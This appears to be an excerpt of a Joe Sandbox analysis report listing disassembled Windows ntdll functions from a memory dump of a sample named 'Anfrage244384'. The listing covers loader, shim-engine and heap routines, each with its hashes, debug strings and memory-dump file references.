                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-204845295
                                                        • Opcode ID: a307be7ce4dd00b1f47e3caf0681b15aab6a6aca771cf72cb5829924c581a31a
                                                        • Instruction ID: 3107c092eae6dd23d066196d9afd64edab2d2cbc45daea3e4ec5157657f0d17e
                                                        • Opcode Fuzzy Hash: a307be7ce4dd00b1f47e3caf0681b15aab6a6aca771cf72cb5829924c581a31a
                                                        • Instruction Fuzzy Hash: E3519F71208304DFE321DF24C840A9B7BE8FF85664F40095DF586AB1A4EB35D905CFA2
                                                        Function 34DFFD82 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
                                                        • API String ID: 3446177414-4227709934
                                                        • Opcode ID: 2a2596552d4bef60e9afd3be0b567779846ecb28e00d5c80b0f9b3d44ee16a09
                                                        • Instruction ID: c30b84e4d2773eb707bd8aa7693b7280b84466dc991295b5d712a6466bd262c6
                                                        • Opcode Fuzzy Hash: 2a2596552d4bef60e9afd3be0b567779846ecb28e00d5c80b0f9b3d44ee16a09
                                                        • Instruction Fuzzy Hash: 14416BB9A00209ABDB21DF99CC80ADEBBB5FF48354F11015EE905AB341D7369911CBA0
                                                        Function 34E2FD78 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
                                                        • API String ID: 3446177414-3492000579
                                                        • Opcode ID: 8f4c154c502c968f8a181cf88998180ea2e31e6dc2de12c95e6bfec102db266b
                                                        • Instruction ID: bbb039e6b190c3c2d4ec98036e1773e5f638d6b9f729eea66218a23923af79b0
                                                        • Opcode Fuzzy Hash: 8f4c154c502c968f8a181cf88998180ea2e31e6dc2de12c95e6bfec102db266b
                                                        • Instruction Fuzzy Hash: A6710235A11684DFEB02DFA8C440AADFFF2FF4A328F448099E485AB252CB319941DF54
                                                        Function 34D765B5 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 34DD9AF6
                                                        • LdrpLoadShimEngine, xrefs: 34DD9ABB, 34DD9AFC
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 34DD9AC5, 34DD9B06
                                                        • Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 34DD9AB4
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-3589223738
                                                        • Opcode ID: 05d9a5ba87fb01aff9d6e8441f9c3ad6c061e59ce5eb7524c7b40cd25e496108
                                                        • Instruction ID: f386c5f94975affa095b99be9747306ae0d2b691f92daa2d8e2317c56ebd1f2f
                                                        • Opcode Fuzzy Hash: 05d9a5ba87fb01aff9d6e8441f9c3ad6c061e59ce5eb7524c7b40cd25e496108
                                                        • Instruction Fuzzy Hash: 36510176B00358DFEB04DF68C884A9D7BB6FF81324F450199E451BB2A9DB60AC45CBA4
                                                        Function 34DA9803 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 179timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: @34$LdrpUnloadNode$Unmapping DLL "%wZ"$df4@34@34$minkernel\ntdll\ldrsnap.c
                                                        • API String ID: 3446177414-1497493673
                                                        • Opcode ID: 98f543bb79124c15aeef2373b96251d6dccc48d408647ec9d00e32bf2b66d5e7
                                                        • Instruction ID: 4f7adf249c8003b81057022615e905034f25d939ed0a06244001731ac8afed15
                                                        • Opcode Fuzzy Hash: 98f543bb79124c15aeef2373b96251d6dccc48d408647ec9d00e32bf2b66d5e7
                                                        • Instruction Fuzzy Hash: 2251D175700702EFE714DF34C884A2ABBE5BF85224F140EADE4969B695DB30E845CF92
                                                        Function 34DADB00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
                                                        • API String ID: 3446177414-3224558752
                                                        • Opcode ID: 9355c24333b1435fcaab956dbf80a1b50d55d6d0343c4aab8d6cce0fac6c2711
                                                        • Instruction ID: b7c5dc081b2bf00dabca528892bc49fabc47e7f93a795ef765ce69e4d2f4ccbe
                                                        • Opcode Fuzzy Hash: 9355c24333b1435fcaab956dbf80a1b50d55d6d0343c4aab8d6cce0fac6c2711
                                                        • Instruction Fuzzy Hash: C3410275600740EFE702CF24C894B6ABBB5FF053A4F1085ADE4559B6A1CB34A9C8CB91
                                                        Function 34E2F157 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 34E2F263
                                                        • ---------------------------------------, xrefs: 34E2F279
                                                        • HEAP: , xrefs: 34E2F15D
                                                        • Entry Heap Size , xrefs: 34E2F26D
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
                                                        • API String ID: 3446177414-1102453626
                                                        • Opcode ID: dbf6e3f281f0c8e378bf8a156921b448e6045865b02c648f8d7c8f4caf5370d4
                                                        • Instruction ID: b75d02f79ea3b9d46e4b9479c3189f743778805777257ac699e345c8d7a3e18c
                                                        • Opcode Fuzzy Hash: dbf6e3f281f0c8e378bf8a156921b448e6045865b02c648f8d7c8f4caf5370d4
                                                        • Instruction Fuzzy Hash: C441927AA00226DFD704EF58C884905BFF5FF4A3697168169D448AB316D731EC42DF90
                                                        Function 34DADBA0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
                                                        • API String ID: 3446177414-1222099010
                                                        • Opcode ID: 0f5a3ffba1705a94c45a9a1d0fb6766cb471833d4e8f874105f4a70005aa6953
                                                        • Instruction ID: 6dc6536c481eafdf84b0621be2fd645c20ab21c3726d8ebaeb305a3c60a4ff66
                                                        • Opcode Fuzzy Hash: 0f5a3ffba1705a94c45a9a1d0fb6766cb471833d4e8f874105f4a70005aa6953
                                                        • Instruction Fuzzy Hash: AC312639204784EFF752DB28C804B5A7BF9FF067A4F10409DE4955B666CBB8A8C4CB61
                                                        Function 34DCB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: __aulldvrm
                                                        • String ID: +$-$0$0
                                                        • API String ID: 1302938615-699404926
                                                        • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                        • Instruction ID: 336bc269b3a028494fca45ddaaf1541b4dea7248f65272cb4b80626efa11424e
                                                        • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                        • Instruction Fuzzy Hash: 07819D78EC53498EEF04CE68E8917AEBBA6BF45350F54465DD8A0AB2D0CB34DC418B60
                                                        Function 34D89126 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $$@
                                                        • API String ID: 3446177414-1194432280
                                                        • Opcode ID: a8547e20bbc67394dd4dc86bb21d5737f46e7dae46cc68f17c489b9a00aa463a
                                                        • Instruction ID: 0c004449aa5df0dd35c9f2b7b9f458a03d981a4f43d37082016f29bcdd39d38a
                                                        • Opcode Fuzzy Hash: a8547e20bbc67394dd4dc86bb21d5737f46e7dae46cc68f17c489b9a00aa463a
                                                        • Instruction Fuzzy Hash: B1811AB5E00269DFDB21CB54CC44BEEB7B8AB08750F0041EAA919B7640D7309E85CFA0
                                                        Function 34DB4D1D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • LdrpFindDllActivationContext, xrefs: 34DF3636, 34DF3662
                                                        • minkernel\ntdll\ldrsnap.c, xrefs: 34DF3640, 34DF366C
                                                        • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 34DF362F
                                                        • Querying the active activation context failed with status 0x%08lx, xrefs: 34DF365C
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                                        • API String ID: 3446177414-3779518884
                                                        • Opcode ID: 931afc352d1aaa447cf3d2021c2ceaada92e7f6add105a059e745f17649f6d28
                                                        • Instruction ID: a5b1f31af1a1ddc7ee3af0cae776fd71db80b4a59deffaeab8d2b39038c016e7
                                                        • Opcode Fuzzy Hash: 931afc352d1aaa447cf3d2021c2ceaada92e7f6add105a059e745f17649f6d28
                                                        • Instruction Fuzzy Hash: 4D314C76A00311FFFF21DB18CC44B1677A8FB017A5F47816AE8C667661DBA09C848BD5
                                                        Function 34DA245A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 34DEA9A2
                                                        • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 34DEA992
                                                        • LdrpDynamicShimModule, xrefs: 34DEA998
                                                        • apphelp.dll, xrefs: 34DA2462
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 0-176724104
                                                        • Opcode ID: 18e44d554608389eb19e29f98385cdd7bda762de534ad126154c7cd5391bd33e
                                                        • Instruction ID: 0d1ed28feefa9d7e46419896fd5f27b432b6a7579eefe3ee59c74d136aa4a163
                                                        • Opcode Fuzzy Hash: 18e44d554608389eb19e29f98385cdd7bda762de534ad126154c7cd5391bd33e
                                                        • Instruction Fuzzy Hash: C8312875600302EBF710DFA9C840ABA7BB8FF84764F524059E910BB354CB749982CF94
                                                        Function 34D7F910 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 3446177414-3610490719
                                                        • Opcode ID: d47bb9563fd5171c85b6412f8e55868a176cd19c98ca22d920b1662dc688d272
                                                        • Instruction ID: 772f5a262b42eecdc4ce7f01152f7b65bfac290b4a2e824f9051aa09bb5828b6
                                                        • Opcode Fuzzy Hash: d47bb9563fd5171c85b6412f8e55868a176cd19c98ca22d920b1662dc688d272
                                                        • Instruction Fuzzy Hash: 04910575714B41DFF325CF24C880B6ABBA9BF86644F00056DE9A09F681DB34E845CBA2
                                                        Function 34DA0BCB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • LdrpCheckModule, xrefs: 34DEA117
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 34DEA121
                                                        • Failed to allocated memory for shimmed module list, xrefs: 34DEA10F
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-161242083
                                                        • Opcode ID: ae7d0ef81e65cc56ed00981a805ef98a1369b95df87ba6c71b3b1e87a5a5ec4a
                                                        • Instruction ID: c082b130805b747e69b08f09d78f85961819b4eba4b1fded2a678e8c36d482e9
                                                        • Opcode Fuzzy Hash: ae7d0ef81e65cc56ed00981a805ef98a1369b95df87ba6c71b3b1e87a5a5ec4a
                                                        • Instruction Fuzzy Hash: C671BC75B00206DFEB05DF68C980AAEBBF8FB84214F14446DE846EB254E735AD82CB55
                                                        Function 34DBC720 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 34DF82E8
                                                        • LdrpInitializePerUserWindowsDirectory, xrefs: 34DF82DE
                                                        • Failed to reallocate the system dirs string !, xrefs: 34DF82D7
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-1783798831
                                                        • Opcode ID: ca99397dbe0077849640da8738e58c7bd2ec5887b3811ef17726c7ea7419da0c
                                                        • Instruction ID: 8033606928f20d92a7898a49fec156f78d1f7e73b1687ce1c4b387c7b3047011
                                                        • Opcode Fuzzy Hash: ca99397dbe0077849640da8738e58c7bd2ec5887b3811ef17726c7ea7419da0c
                                                        • Instruction Fuzzy Hash: 5E41BFB5614300EFEB20DB64DC44B4B7BE8FF45A65F41492AF985E7260EB34D8018FA6
                                                        Function 34DBBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RTL: Re-Waiting, xrefs: 34DF7BAC
                                                        • RTL: Resource at %p, xrefs: 34DF7B8E
                                                        • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 34DF7B7F
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                        • API String ID: 0-871070163
                                                        • Opcode ID: 82d60f0038df5d7477654cab70071f7530c88bc75538573ccda27561f2f16009
                                                        • Instruction ID: 3a88b4157f3d5625ae513cd0a1fbead5d27763eaa6465e1aa76775a8736228b9
                                                        • Opcode Fuzzy Hash: 82d60f0038df5d7477654cab70071f7530c88bc75538573ccda27561f2f16009
                                                        • Instruction Fuzzy Hash: 6F41C2357057029FEB20CE25CC40B5AB7E5FF89720F100A1EF8969BA90DB72E8058F91
                                                        Function 34DBB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 34DF728C
                                                        Strings
                                                        • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 34DF7294
                                                        • RTL: Re-Waiting, xrefs: 34DF72C1
                                                        • RTL: Resource at %p, xrefs: 34DF72A3
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                        • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                        • API String ID: 885266447-605551621
                                                        • Opcode ID: 89803aa541baf90b28d68ae9152dd5c373b492128addc6469c59e948859d0c17
                                                        • Instruction ID: ea92be0052c18bc5c547109f67fe75fe121b1054a478bb9b84e45ebd50661c97
                                                        • Opcode Fuzzy Hash: 89803aa541baf90b28d68ae9152dd5c373b492128addc6469c59e948859d0c17
                                                        • Instruction Fuzzy Hash: 50410035B00302AFEB21CE65CC41F9AB7A5FF84724F114619F995AB640DB22E8568BE1
                                                        Function 34E04755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • LdrpCheckRedirection, xrefs: 34E0488F
                                                        • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 34E04888
                                                        • minkernel\ntdll\ldrredirect.c, xrefs: 34E04899
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                        • API String ID: 3446177414-3154609507
                                                        • Opcode ID: de957ea587ee11b5389c9ae9cc40dc846a6fdefdba6fa78e3d63b5387701a328
                                                        • Instruction ID: c1f77ed414a263334530ca4a6acd67d0ee88cc3682dd2f3f454e2d2890bcef1b
                                                        • Opcode Fuzzy Hash: de957ea587ee11b5389c9ae9cc40dc846a6fdefdba6fa78e3d63b5387701a328
                                                        • Instruction Fuzzy Hash: 0741B377A003509FDB21DF6ACA40A167BE8EF896A4F05895DFDA497211D730D800CFA1
                                                        Function 34E32300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: ___swprintf_l
                                                        • String ID: %%%u$]:%u
                                                        • API String ID: 48624451-3050659472
                                                        • Opcode ID: 9d2a415e98fe4ad61ed3f8fae7d930c35cc481396729b164b163e7faefbe6dd7
                                                        • Instruction ID: 27856f16902f834f1863100be8ee5810729220dc69405ca4d779b4ded890f629
                                                        • Opcode Fuzzy Hash: 9d2a415e98fe4ad61ed3f8fae7d930c35cc481396729b164b163e7faefbe6dd7
                                                        • Instruction Fuzzy Hash: 4C318276A01219DFDB11CE29DC40BFE77B8EF44754F80055AE889E3200EB30AA44CFA1
                                                        Function 34E05F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80timeCOMMON
                                                        Download Yara Rule
